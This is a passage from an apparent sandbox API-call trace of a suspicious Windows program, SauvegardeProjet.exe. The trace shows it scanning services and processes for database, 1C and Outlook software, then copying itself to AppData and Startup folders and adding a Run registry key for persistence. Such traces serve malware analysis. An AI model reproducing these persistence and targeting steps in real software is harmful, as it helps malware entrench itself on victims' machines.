(lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0264.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0264.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0264.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0264.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0264.340] lstrlenW (lpString="WPDBusEnum") returned 10 [0264.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0264.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0264.340] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0264.341] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0264.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0264.341] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0264.343] Process32FirstW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.344] lstrlenW (lpString="System") returned 6 [0264.344] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0264.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0264.344] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0264.344] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0264.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0264.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0264.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0264.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.345] lstrlenW (lpString="smss.exe") returned 8 [0264.345] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0264.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0264.345] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0264.345] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0264.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0264.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0264.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0264.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.345] lstrlenW (lpString="csrss.exe") returned 9 [0264.345] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.346] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.346] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.346] lstrlenW (lpString="wininit.exe") returned 11 [0264.346] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0264.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0264.346] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0264.346] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0264.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0264.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0264.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0264.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.348] lstrlenW (lpString="csrss.exe") returned 9 [0264.348] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.348] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.348] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.349] lstrlenW (lpString="winlogon.exe") returned 12 [0264.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.349] lstrlenW (lpString="services.exe") returned 12 [0264.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.350] lstrlenW (lpString="lsass.exe") returned 9 [0264.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.350] lstrlenW (lpString="lsm.exe") returned 7 [0264.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.351] lstrlenW (lpString="svchost.exe") returned 11 [0264.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.351] lstrlenW (lpString="svchost.exe") returned 11 [0264.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.352] lstrlenW (lpString="svchost.exe") returned 11 [0264.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.352] lstrlenW (lpString="svchost.exe") returned 11 [0264.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.353] lstrlenW (lpString="svchost.exe") returned 11 [0264.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.353] lstrlenW (lpString="audiodg.exe") returned 11 [0264.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.354] lstrlenW (lpString="svchost.exe") returned 11 [0264.354] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.354] lstrlenW (lpString="svchost.exe") returned 11 [0264.354] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.355] lstrlenW (lpString="dwm.exe") returned 7 [0264.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.355] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.356] lstrlenW (lpString="explorer.exe") returned 12 [0264.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.356] lstrlenW (lpString="taskhost.exe") returned 12 [0264.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.357] lstrlenW (lpString="svchost.exe") returned 11 [0264.357] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x47c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0264.357] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0264.357] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x47c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0264.358] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0264.358] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0264.358] lstrlenW (lpString="reader_sl.exe") returned 13 [0264.358] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.359] lstrlenW (lpString="svchost.exe") returned 11 [0264.359] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x55c, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0264.359] lstrlenW (lpString="msiexec.exe") returned 11 [0264.359] Process32NextW (in: hSnapshot=0xe0, lppe=0x21ef20 | out: lppe=0x21ef20*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x55c, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 0 [0264.360] CloseHandle (hObject=0xe0) returned 1 [0264.361] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ab518, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0264.362] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.362] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\SauvegardeProjet.exe", lpDst=0x2bb520, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\SauvegardeProjet.exe") returned 0x29 [0264.362] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0264.362] GetProcAddress (hModule=0x77540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7756d650 [0264.362] Wow64DisableWow64FsRedirection (in: OldValue=0x21f140 | out: OldValue=0x21f140*=0x0) returned 1 [0264.362] lstrlenW (lpString="kernel32.dll") returned 12 [0264.363] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.363] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0264.363] CreateFileW (lpFileName="C:\\Windows\\System32\\SauvegardeProjet.exe" (normalized: "c:\\windows\\system32\\sauvegardeprojet.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.363] CloseHandle (hObject=0xe0) returned 1 [0264.364] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0264.364] GetProcAddress (hModule=0x77540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7756d650 [0264.364] Wow64DisableWow64FsRedirection (in: OldValue=0x21f140 | out: OldValue=0x21f140*=0x1) returned 1 [0264.364] lstrlenW (lpString="kernel32.dll") returned 12 [0264.364] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.364] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.365] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\SauvegardeProjet.exe", lpDst=0x2bb520, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SauvegardeProjet.exe") returned 0x43 [0264.365] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0264.365] GetProcAddress (hModule=0x77540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7756d650 [0264.365] Wow64DisableWow64FsRedirection (in: OldValue=0x21f140 | out: OldValue=0x21f140*=0x1) returned 1 [0264.365] lstrlenW (lpString="kernel32.dll") returned 12 [0264.365] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.365] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0264.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\sauvegardeprojet.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0264.366] ReadFile (in: hFile=0xe0, lpBuffer=0x20e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x21f13c, lpOverlapped=0x0 | out: lpBuffer=0x20e0020*, lpNumberOfBytesRead=0x21f13c*=0x95600, lpOverlapped=0x0) returned 1 [0264.494] WriteFile (in: hFile=0xe4, lpBuffer=0x20e0020*, nNumberOfBytesToWrite=0x95600, lpNumberOfBytesWritten=0x21f13c, lpOverlapped=0x0 | out: lpBuffer=0x20e0020*, lpNumberOfBytesWritten=0x21f13c*=0x95600, lpOverlapped=0x0) returned 1 [0264.505] ReadFile (in: hFile=0xe0, lpBuffer=0x20e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x21f13c, lpOverlapped=0x0 | out: lpBuffer=0x20e0020*, lpNumberOfBytesRead=0x21f13c*=0x0, lpOverlapped=0x0) returned 1 [0264.505] CloseHandle (hObject=0xe4) returned 1 [0264.506] CloseHandle (hObject=0xe0) returned 1 [0264.506] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0264.506] GetProcAddress (hModule=0x77540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7756d650 [0264.507] Wow64DisableWow64FsRedirection (in: OldValue=0x21f140 | out: OldValue=0x21f140*=0x1) returned 1 [0264.507] lstrlenW (lpString="kernel32.dll") returned 12 [0264.507] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.512] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SauvegardeProjet.exe") returned 66 [0264.512] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0264.512] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x21f110 | out: phkResult=0x21f110*=0x0) returned 0x5 [0264.512] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SauvegardeProjet.exe") returned 66 [0264.512] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0264.512] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x21f110 | out: phkResult=0x21f110*=0xe4) returned 0x0 [0264.512] RegSetValueExW (in: hKey=0xe4, lpValueName="SauvegardeProjet.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SauvegardeProjet.exe", cbData=0x84 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SauvegardeProjet.exe") returned 0x0 [0264.513] RegCloseKey (hKey=0xe4) returned 0x0 [0264.513] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0264.513] lstrlenW (lpString="") returned 0 [0264.513] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.513] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f0bc | out: phkResult=0x21f0bc*=0xe4) returned 0x0 [0264.513] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x21f0c8, lpData=0x2cb528, lpcbData=0x21f0f4*=0x7fff | out: lpType=0x21f0c8*=0x0, lpData=0x2cb528*=0x53, lpcbData=0x21f0f4*=0x7fff) returned 0x2 [0264.513] RegCloseKey (hKey=0xe4) returned 0x0 [0264.513] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.513] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f0bc | out: phkResult=0x21f0bc*=0xe4) returned 0x0 [0264.514] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x21f0c8, lpData=0x2cb528, lpcbData=0x21f0f4*=0x7fff | out: lpType=0x21f0c8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x21f0f4*=0x98) returned 0x0 [0264.514] RegCloseKey (hKey=0xe4) returned 0x0 [0264.514] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0264.514] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.514] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", lpDst=0x2bb520, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe") returned 0x71 [0264.514] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0264.514] GetProcAddress (hModule=0x77540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7756d650 [0264.514] Wow64DisableWow64FsRedirection (in: OldValue=0x21f140 | out: OldValue=0x21f140*=0x1) returned 1 [0264.514] lstrlenW (lpString="kernel32.dll") returned 12 [0264.514] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.515] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0264.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.515] CloseHandle (hObject=0xe4) returned 1 [0264.515] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0264.515] GetProcAddress (hModule=0x77540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7756d650 [0264.515] Wow64DisableWow64FsRedirection (in: OldValue=0x21f140 | out: OldValue=0x21f140*=0x1) returned 1 [0264.515] lstrlenW (lpString="kernel32.dll") returned 12 [0264.515] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.516] lstrlenW (lpString="") returned 0 [0264.516] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.516] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f0bc | out: phkResult=0x21f0bc*=0xe4) returned 0x0 [0264.516] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x21f0c8, lpData=0x2cb528, lpcbData=0x21f0f4*=0x7fff | out: lpType=0x21f0c8*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x21f0f4*=0x78) returned 0x0 [0264.516] RegCloseKey (hKey=0xe4) returned 0x0 [0264.516] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0264.516] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.516] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", lpDst=0x2bb520, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe") returned 0x52 [0264.517] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0264.517] GetProcAddress (hModule=0x77540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7756d650 [0264.517] Wow64DisableWow64FsRedirection (in: OldValue=0x21f140 | out: OldValue=0x21f140*=0x1) returned 1 [0264.517] lstrlenW (lpString="kernel32.dll") returned 12 [0264.517] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0264.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: 